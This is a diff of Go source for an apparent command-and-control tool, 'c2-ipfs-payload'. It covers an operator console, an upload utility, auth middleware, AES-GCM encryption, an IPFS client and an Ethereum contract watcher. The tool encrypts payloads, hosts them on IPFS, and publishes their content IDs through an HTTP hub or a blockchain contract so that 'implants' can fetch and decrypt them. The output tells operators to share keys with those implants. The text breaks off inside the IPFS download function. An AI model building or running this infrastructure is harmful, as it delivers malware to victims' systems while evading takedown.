fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
if s.mode == "http" {
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
}
fmt.Println()
fmt.Println("Commands:")
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
fmt.Println(" cid <new-cid> — Manually set CID")
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
fmt.Println(" status — Show current state")
fmt.Println(" history — Show recent CID history")
fmt.Println(" genkey — Generate a new encryption key")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shutdown")
fmt.Println()
for {
fmt.Print("> ")
if !scanner.Scan() {
break
}
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.Fields(line)
cmd := parts[0]
switch cmd {
case "exit", "quit":
fmt.Println("Shutting down...")
os.Exit(0)
case "help":
fmt.Println("Commands:")
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
fmt.Println(" cid <new-cid> — Manually set CID")
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
fmt.Println(" status — Show current state")
fmt.Println(" history — Show recent CID history")
fmt.Println(" genkey — Generate a new encryption key")
fmt.Println(" exit — Shutdown")
case "genkey":
key, err := crypto.GenerateKey()
if err != nil {
fmt.Printf("Error: %v\n", err)
continue
}
fmt.Printf("New encryption key: %s\n", key)
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
fmt.Println("Share it with implants via --decryption-key")
case "status":
s.mu.RLock()
fmt.Printf("Current CID: %s\n", s.currentCID)
fmt.Printf("Mode: %s\n", s.mode)
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
fmt.Printf("History entries: %d\n", len(s.history))
fmt.Printf("Contract address: %s\n", s.contractAddress)
s.mu.RUnlock()
case "history":
s.mu.RLock()
if len(s.history) == 0 {
fmt.Println("No history.")
} else {
fmt.Println("Recent CIDs:")
for i, entry := range s.history {
note := entry.Note
if note == "" {
note = "(no note)"
}
fmt.Printf(" %d. %s [%s] %s\n",
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
}
}
s.mu.RUnlock()
case "cid":
if len(parts) < 2 {
fmt.Println("Usage: cid <cid>")
continue
}
newCID := parts[1]
if !ipfs.IsValidCID(newCID) {
fmt.Println("Invalid CID format.")
continue
}
note := ""
if len(parts) > 2 {
note = strings.Join(parts[2:], " ")
}
s.addHistory(newCID, note)
fmt.Printf("CID updated to: %s\n", newCID)
case "encrypt":
if len(parts) < 2 {
fmt.Println("Usage: encrypt <file>")
continue
}
filePath := parts[1]
s.cmdEncrypt(filePath)
case "deploy":
if len(parts) < 2 {
fmt.Println("Usage: deploy <payload>")
continue
}
filePath := parts[1]
s.cmdDeploy(filePath)
default:
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
}
}
}
func (s *Server) cmdEncrypt(filePath string) {
data, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading file: %v\n", err)
return
}
encrypted, err := crypto.Encrypt(data, s.encKey)
if err != nil {
fmt.Printf("Error encrypting: %v\n", err)
return
}
// Extract filename without path
fileName := filePath
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
fileName = filePath[idx+1:]
}
encName := fileName + ".enc"
// Upload to IPFS
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
resp, err := s.ipfsClient.Upload(encrypted, encName)
if err != nil {
fmt.Printf("IPFS upload failed: %v\n", err)
fmt.Println("Encrypted file saved locally as:", encName)
os.WriteFile(encName, encrypted, 0644)
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
return
}
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
fmt.Printf("Local copy: %s\n", encName)
os.WriteFile(encName, encrypted, 0644)
fmt.Println()
fmt.Println("To deploy, run: cid", resp.CID)
}
func (s *Server) cmdDeploy(filePath string) {
data, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading payload: %v\n", err)
return
}
encrypted, err := crypto.Encrypt(data, s.encKey)
if err != nil {
fmt.Printf("Error encrypting payload: %v\n", err)
return
}
fileName := filePath
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
fileName = filePath[idx+1:]
}
encName := fileName + ".enc"
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
fmt.Println("Uploading to IPFS...")
resp, err := s.ipfsClient.Upload(encrypted, encName)
if err != nil {
fmt.Printf("IPFS upload failed: %v\n", err)
return
}
s.addHistory(resp.CID, "deploy: "+fileName)
fmt.Printf("✅ Deployed!\n")
fmt.Printf(" Payload: %s\n", filePath)
fmt.Printf(" Encrypted: %s\n", encName)
fmt.Printf(" IPFS CID: %s\n", resp.CID)
fmt.Printf(" Size: %d bytes\n", len(encrypted))
if s.mode == "contract" {
if s.contractAddress != "" {
fmt.Println()
fmt.Println("To send CID to contract:")
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
fmt.Println("(Requires --rpc-url and go-ethereum build)")
}
}
}
// --- HTTP Server ---
func (s *Server) startHTTPServer() {
if s.mode != "http" {
return
}
mux := http.NewServeMux()
// Apply auth middleware based on config
var getCIDHandler http.HandlerFunc = s.handleGetCID
var postCIDHandler http.HandlerFunc = s.handlePostCID
var historyHandler http.HandlerFunc = s.handleHistory
var statusHandler http.HandlerFunc = s.handleStatus
if s.config.jwtToken != "" {
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
} else {
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
}
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
getCIDHandler(w, r)
case http.MethodPost:
postCIDHandler(w, r)
default:
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
}
})
mux.HandleFunc("/history", historyHandler)
mux.HandleFunc("/status", statusHandler)
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
info := map[string]interface{}{
"service": "c2-ipfs-payload",
"version": "1.0.0",
"mode": s.mode,
"auth": s.config.jwtToken != "" || s.config.username != "",
"endpoints": map[string]string{
"GET /cid": "Get current CID",
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
"GET /history": "Get recent CID history",
"GET /status": "Get server status",
},
}
json.NewEncoder(w).Encode(info)
})
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
if err := http.ListenAndServe(addr, mux); err != nil {
log.Fatalf("Server failed: %v", err)
}
}
func main() {
// Flags
cfg := Config{}
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
flag.Parse()
// Encryption key
var encKey []byte
if cfg.encKeyHex != "" {
var err error
encKey, err = hex.DecodeString(cfg.encKeyHex)
if err != nil {
log.Fatalf("Invalid encryption key hex: %v", err)
}
if len(encKey) != crypto.KeySize {
log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
}
fmt.Printf("Using provided encryption key: %s...%s\n",
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
} else {
keyHex, err := crypto.GenerateKey()
if err != nil {
log.Fatalf("Failed to generate key: %v", err)
}
encKey, _ = hex.DecodeString(keyHex)
fmt.Printf("Generated new encryption key: %s\n", keyHex)
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
fmt.Println()
}
// IPFS client
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
server := &Server{
startTime: time.Now(),
mode: cfg.mode,
ipfsClient: ipfsClient,
encKey: encKey,
config: cfg,
contractAddress: cfg.contractAddr,
rpcURL: cfg.rpcURL,
history: make([]types.CIDEntry, 0, cfg.maxHistory),
}
// Start console
go server.runConsole()
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
if cfg.mode == "http" {
go server.startHTTPServer()
} else if cfg.mode == "contract" {
log.Printf("Running in contract mode — no HTTP CID hub.")
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
} else {
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
}
// Wait for signal
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
fmt.Println("\nShutting down...")
}
+87
View File
@@ -0,0 +1,87 @@
// Command upload encrypts a binary, uploads it to IPFS, and prints the CID.
//
// Usage:
//
// ./upload -key <32-byte-hex-key> -file payload.bin
// ./upload -key <key> -file payload.bin -ipfs-api http://localhost:5001/api/v0
// ./upload -key <key> -file payload.bin -pinata-jwt <jwt>
package main
import (
"flag"
"fmt"
"log"
"os"
"path/filepath"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
)
func main() {
var (
keyHex = flag.String("key", "", "Encryption key (32-byte hex)")
filePath = flag.String("file", "", "Payload file to encrypt and upload")
ipfsAPI = flag.String("ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL")
pinataJWT = flag.String("pinata-jwt", "", "Pinata.cloud JWT (alternative upload)")
noUpload = flag.Bool("no-upload", false, "Only encrypt locally, skip IPFS")
output = flag.String("output", "", "Output file (default: <file>.enc)")
)
flag.Parse()
if *keyHex == "" {
log.Fatal("--key is required (32-byte hex key)")
}
if *filePath == "" {
log.Fatal("--file is required")
}
data, err := os.ReadFile(*filePath)
if err != nil {
log.Fatalf("Failed to read payload file: %v", err)
}
key, err := crypto.HexToKey(*keyHex)
if err != nil {
log.Fatalf("Invalid key: %v", err)
}
encrypted, err := crypto.Encrypt(data, key)
if err != nil {
log.Fatalf("Encryption failed: %v", err)
}
outFile := *output
if outFile == "" {
base := filepath.Base(*filePath)
outFile = base + ".enc"
}
if err := os.WriteFile(outFile, encrypted, 0644); err != nil {
log.Fatalf("Failed to write encrypted file: %v", err)
}
fmt.Printf("✅ Encrypted payload saved: %s (%d bytes)\n", outFile, len(encrypted))
if *noUpload {
fmt.Println("Skipping IPFS upload (-no-upload flag)")
fmt.Println("\nManual steps:")
fmt.Println(" 1. ipfs add", outFile)
fmt.Println(" 2. Use the CID: cid <cid>")
return
}
client := ipfs.NewClient(*ipfsAPI, *pinataJWT)
resp, err := client.Upload(encrypted, filepath.Base(outFile))
if err != nil {
log.Fatalf("IPFS upload failed: %v\n", err)
}
fmt.Printf("✅ Uploaded to IPFS!\n")
fmt.Printf(" CID: %s\n", resp.CID)
fmt.Printf(" Size: %d bytes\n", len(encrypted))
fmt.Println("\nNext steps:")
fmt.Println(" 1. On the server console, run: cid", resp.CID)
fmt.Println(" 2. Or deploy directly: deploy", *filePath)
fmt.Println("\nImplant command:")
fmt.Printf(" ./client --cid-source <hub-url> --decryption-key %s\n", *keyHex)
}
+2
View File
@@ -0,0 +1,2 @@
go 1.26
module github.com/churchofmalware/c2-ipfs-payload
+65
View File
@@ -0,0 +1,65 @@
// Package auth provides simple HTTP basic authentication middleware for the CID hub.
package auth
import (
"crypto/subtle"
"net/http"
)
// BasicAuth wraps an HTTP handler with basic auth protection.
func BasicAuth(username, password string, next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if username == "" {
// No auth configured
next(w, r)
return
}
user, pass, ok := r.BasicAuth()
if !ok {
w.Header().Set("WWW-Authenticate", `Basic realm="CID Hub"`)
http.Error(w, "Unauthorized", http.StatusUnauthorized)
return
}
userMatch := subtle.ConstantTimeCompare([]byte(user), []byte(username)) == 1
passMatch := subtle.ConstantTimeCompare([]byte(pass), []byte(password)) == 1
if !userMatch || !passMatch {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next(w, r)
}
}
// JWTAuth wraps an HTTP handler with JWT bearer token auth.
// This is a simple token comparison for HMAC-style tokens.
func JWTAuth(token string, next http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r *http.Request) {
if token == "" {
next(w, r)
return
}
authHeader := r.Header.Get("Authorization")
if authHeader == "" {
http.Error(w, "Missing Authorization header", http.StatusUnauthorized)
return
}
// Support both "Bearer <token>" and "<token>" directly
provided := authHeader
if len(authHeader) > 7 && authHeader[:7] == "Bearer " {
provided = authHeader[7:]
}
if subtle.ConstantTimeCompare([]byte(provided), []byte(token)) != 1 {
http.Error(w, "Forbidden", http.StatusForbidden)
return
}
next(w, r)
}
}
+60
View File
@@ -0,0 +1,60 @@
// Package contract handles smart contract interaction for the fully
// decentralized CID feed mode (MODE B).
//
// This file only contains the interface. The actual implementation requires
// go-ethereum and is in contract_eth.go (build tag: ethereum).
package contract
import "errors"
// CIDEvent represents a NewCID event emitted by the smart contract.
type CIDEvent struct {
CID string
Sender string
Timestamp uint64
BlockNum uint64
TxHash string
}
// Watcher watches a smart contract for NewCID events.
type Watcher interface {
// Watch starts watching for new CID events. The callback is called
// for each event. Returns a channel that receives an error on failure.
Watch(callback func(CIDEvent)) (<-chan error, error)
// GetLatestCID fetches the current CID from the contract.
GetLatestCID() (string, error)
// SendCID submits a new CID to the contract (requires wallet).
SendCID(cid string, privateKeyHex string) (string, error)
// Close cleans up the watcher.
Close()
}
// ErrNotCompiledWithEthereum is returned when the binary is not built with
// the ethereum build tag.
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
// PlaceholderWatcher returns errors requiring go-ethereum.
type PlaceholderWatcher struct{}
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
return nil, ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
return "", ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
return "", ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) Close() {}
// NewWatcher creates a contract watcher. If go-ethereum is not available,
// returns a placeholder that errors.
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
}
+264
View File
@@ -0,0 +1,264 @@
//go:build ethereum
// +build ethereum
package contract
import (
"context"
"crypto/ecdsa"
"fmt"
"log"
"math/big"
"strings"
"time"
"github.com/ethereum/go-ethereum"
"github.com/ethereum/go-ethereum/accounts/abi"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
)
// ContractABI is the minimal ABI for the CID feed contract.
const ContractABI = `[
{
"anonymous": false,
"inputs": [
{"indexed": true, "name": "sender", "type": "address"},
{"indexed": false, "name": "cid", "type": "string"},
{"indexed": false, "name": "timestamp", "type": "uint256"}
],
"name": "NewCID",
"type": "event"
},
{
"inputs": [],
"name": "latestCID",
"outputs": [{"name": "", "type": "string"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [{"name": "_cid", "type": "string"}],
"name": "publishCID",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]`
// EthWatcher implements Watcher using go-ethereum.
type EthWatcher struct {
client *ethclient.Client
contractAddr common.Address
contractABI abi.ABI
lastBlock uint64
ctx context.Context
cancel context.CancelFunc
}
// NewEthWatcher creates a new Ethereum contract watcher.
func init() {
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
return NewEthWatcher(rpcURL, contractAddr)
}
}
// NewEthWatcher creates a new Ethereum contract watcher.
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
client, err := ethclient.Dial(rpcURL)
if err != nil {
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
}
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
if err != nil {
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
}
ctx, cancel := context.WithCancel(context.Background())
return &EthWatcher{
client: client,
contractAddr: common.HexToAddress(contractAddr),
contractABI: parsedABI,
ctx: ctx,
cancel: cancel,
}, nil
}
// Watch watches the contract for NewCID events.
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
errCh := make(chan error, 1)
go func() {
pollInterval := 15 * time.Second
ticker := time.NewTicker(pollInterval)
defer ticker.Stop()
for {
select {
case <-w.ctx.Done():
return
case <-ticker.C:
if err := w.pollEvents(callback); err != nil {
log.Printf("Event poll error: %v", err)
}
}
}
}()
return errCh, nil
}
// pollEvents checks for new events since the last seen block.
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
header, err := w.client.HeaderByNumber(w.ctx, nil)
if err != nil {
return fmt.Errorf("failed to get block header: %w", err)
}
currentBlock := header.Number.Uint64()
if currentBlock <= w.lastBlock {
return nil
}
fromBlock := w.lastBlock
if fromBlock == 0 {
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
}
// Build query
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
query := ethereum.FilterQuery{
FromBlock: big.NewInt(int64(fromBlock)),
ToBlock: big.NewInt(int64(currentBlock)),
Addresses: []common.Address{w.contractAddr},
Topics: [][]common.Hash{{eventSig}},
}
logs, err := w.client.FilterLogs(w.ctx, query)
if err != nil {
return fmt.Errorf("failed to filter logs: %w", err)
}
for _, vLog := range logs {
event, err := w.parseEvent(vLog)
if err != nil {
log.Printf("Failed to parse event: %v", err)
continue
}
callback(event)
}
w.lastBlock = currentBlock
return nil
}
// parseEvent parses a NewCID event from a raw log.
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
var event struct {
Sender common.Address
CID string
Timestamp *big.Int
}
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
if err != nil {
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
}
return CIDEvent{
CID: event.CID,
Sender: event.Sender.Hex(),
Timestamp: event.Timestamp.Uint64(),
BlockNum: vLog.BlockNumber,
TxHash: vLog.TxHash.Hex(),
}, nil
}
// GetLatestCID fetches the current CID from the contract.
func (w *EthWatcher) GetLatestCID() (string, error) {
result, err := w.contractABI.Pack("latestCID")
if err != nil {
return "", fmt.Errorf("failed to pack call: %w", err)
}
msg := ethereum.CallMsg{
To: &w.contractAddr,
Data: result,
}
output, err := w.client.CallContract(w.ctx, msg, nil)
if err != nil {
return "", fmt.Errorf("contract call failed: %w", err)
}
var cid string
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
return "", fmt.Errorf("failed to unpack response: %w", err)
}
return cid, nil
}
// SendCID submits a new CID to the contract.
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
privateKey, err := crypto.HexToECDSA(privateKeyHex)
if err != nil {
return "", fmt.Errorf("invalid private key: %w", err)
}
publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
return "", fmt.Errorf("failed to get public key")
}
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
if err != nil {
return "", fmt.Errorf("failed to get nonce: %w", err)
}
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
if err != nil {
return "", fmt.Errorf("failed to get gas price: %w", err)
}
// Pack the function call
data, err := w.contractABI.Pack("publishCID", cid)
if err != nil {
return "", fmt.Errorf("failed to pack function call: %w", err)
}
gasLimit := uint64(200000) // reasonable estimate
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
chainID, err := w.client.NetworkID(w.ctx)
if err != nil {
return "", fmt.Errorf("failed to get chain ID: %w", err)
}
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
if err != nil {
return "", fmt.Errorf("failed to sign transaction: %w", err)
}
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
return "", fmt.Errorf("failed to send transaction: %w", err)
}
return signedTx.Hash().Hex(), nil
}
// Close cleans up the watcher.
func (w *EthWatcher) Close() {
w.cancel()
if w.client != nil {
w.client.Close()
}
}
+143
View File
@@ -0,0 +1,143 @@
// Package crypto handles payload encryption and decryption.
// Uses AES-256-GCM for authenticated encryption.
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
"io"
)
const (
// KeySize is the AES-256 key size in bytes.
KeySize = 32
// NonceSize is the GCM nonce size.
NonceSize = 12
)
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
// Uses SHA-256 as the KDF (simple; for production use Argon2).
func DeriveKey(passphrase string) []byte {
h := sha256.Sum256([]byte(passphrase))
return h[:]
}
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
// The key should be 32 bytes (use DeriveKey for passphrases).
// Returns: nonce || ciphertext || tag
func Encrypt(plaintext, key []byte) ([]byte, error) {
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %w", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %w", err)
}
nonce := make([]byte, NonceSize)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, fmt.Errorf("failed to generate nonce: %w", err)
}
// Seal appends the encrypted data (ciphertext + tag) to nonce
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
return ciphertext, nil
}
// Decrypt decrypts data using AES-256-GCM.
// Expects: nonce || ciphertext || tag
func Decrypt(data, key []byte) ([]byte, error) {
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
if len(data) < NonceSize+1 {
return nil, errors.New("ciphertext too short")
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %w", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %w", err)
}
nonce := data[:NonceSize]
ciphertext := data[NonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, fmt.Errorf("decryption failed: %w", err)
}
return plaintext, nil
}
// EncryptHex encrypts plaintext and returns hex-encoded output.
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
key, err := hex.DecodeString(keyHex)
if err != nil {
return "", fmt.Errorf("invalid key hex: %w", err)
}
ct, err := Encrypt(plaintext, key)
if err != nil {
return "", err
}
return hex.EncodeToString(ct), nil
}
// DecryptHex decrypts hex-encoded data and returns plaintext.
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
data, err := hex.DecodeString(dataHex)
if err != nil {
return nil, fmt.Errorf("invalid hex data: %w", err)
}
return Decrypt(data, key)
}
// HexToKey decodes a hex string into a 32-byte key.
func HexToKey(hexStr string) ([]byte, error) {
key, err := hex.DecodeString(hexStr)
if err != nil {
return nil, fmt.Errorf("invalid hex: %w", err)
}
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
return key, nil
}
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
// passphrase and derives a key using SHA-256.
func HexToKeyWithFallback(input string) []byte {
if len(input) == 64 {
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
return key
}
}
return DeriveKey(input)
}
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
func GenerateKey() (string, error) {
key := make([]byte, KeySize)
if _, err := io.ReadFull(rand.Reader, key); err != nil {
return "", fmt.Errorf("failed to generate key: %w", err)
}
return hex.EncodeToString(key), nil
}
+270
View File
@@ -0,0 +1,270 @@
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
package ipfs
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"os"
"strings"
"time"
)
// DefaultGateways lists public IPFS gateways for fallback.
var DefaultGateways = []string{
"https://ipfs.io/ipfs/%s",
"https://cloudflare-ipfs.com/ipfs/%s",
"https://ipfs.filebase.io/ipfs/%s",
"https://dweb.link/ipfs/%s",
"https://cf-ipfs.com/ipfs/%s",
}
// UploadResponse from IPFS API or pinning service.
type UploadResponse struct {
CID string `json:"cid"`
Name string `json:"name,omitempty"`
Size int64 `json:"size,omitempty"`
}
// Client handles IPFS operations.
type Client struct {
apiURL string // e.g., http://localhost:5001/api/v0
pinataJWT string // optional Pinata JWT
httpClient *http.Client
}
// NewClient creates a new IPFS client.
// If apiURL is empty, only download via gateways is supported.
func NewClient(apiURL, pinataJWT string) *Client {
return &Client{
apiURL: apiURL,
pinataJWT: pinataJWT,
httpClient: &http.Client{
Timeout: 120 * time.Second,
},
}
}
// Upload uploads data to IPFS using the configured backend.
// Priority: local IPFS daemon API -> Pinata -> error
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
// Try local IPFS daemon first
if c.apiURL != "" {
resp, err := c.uploadViaDaemon(data)
if err == nil {
return resp, nil
}
// Fall through to Pinata
}
// Try Pinata
if c.pinataJWT != "" {
return c.uploadViaPinata(data, name)
}
if c.apiURL != "" {
// If we had an API URL but it failed, try to re-upload
// (already tried above and fell through)
}
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
}
// uploadViaDaemon uploads a file via IPFS API (local daemon).
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
// Create multipart form with the file
body := &bytes.Buffer{}
body.Write(data)
req, err := http.NewRequest("POST", url, body)
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("Content-Type", "application/octet-stream")
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("IPFS API request failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
}
// Parse response (one line of JSON per file added)
var result struct {
Hash string `json:"Hash"`
Name string `json:"Name"`
Size string `json:"Size"`
}
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
}
return &UploadResponse{CID: result.Hash}, nil
}
// uploadViaPinata uploads via Pinata.cloud pinning service.
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
// Build multipart form
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
var body bytes.Buffer
// File part
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
body.Write(data)
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
req, err := http.NewRequest("POST", url, &body)
if err != nil {
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
}
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("Pinata request failed: %w", err)
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
}
var result struct {
IpfsHash string `json:"IpfsHash"`
PinSize int `json:"PinSize"`
Timestamp string `json:"Timestamp"`
}
if err := json.Unmarshal(respBody, &result); err != nil {
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
}
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
}
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
// Returns the raw data and verifies content-addressing (SHA256 match).
func Download(cid string, gateways []string) ([]byte, error) {
if len(gateways) == 0 {
gateways = DefaultGateways
}
// Shuffle gateways for load distribution
shuffled := make([]string, len(gateways))
copy(shuffled, gateways)
rand.Shuffle(len(shuffled), func(i, j int) {
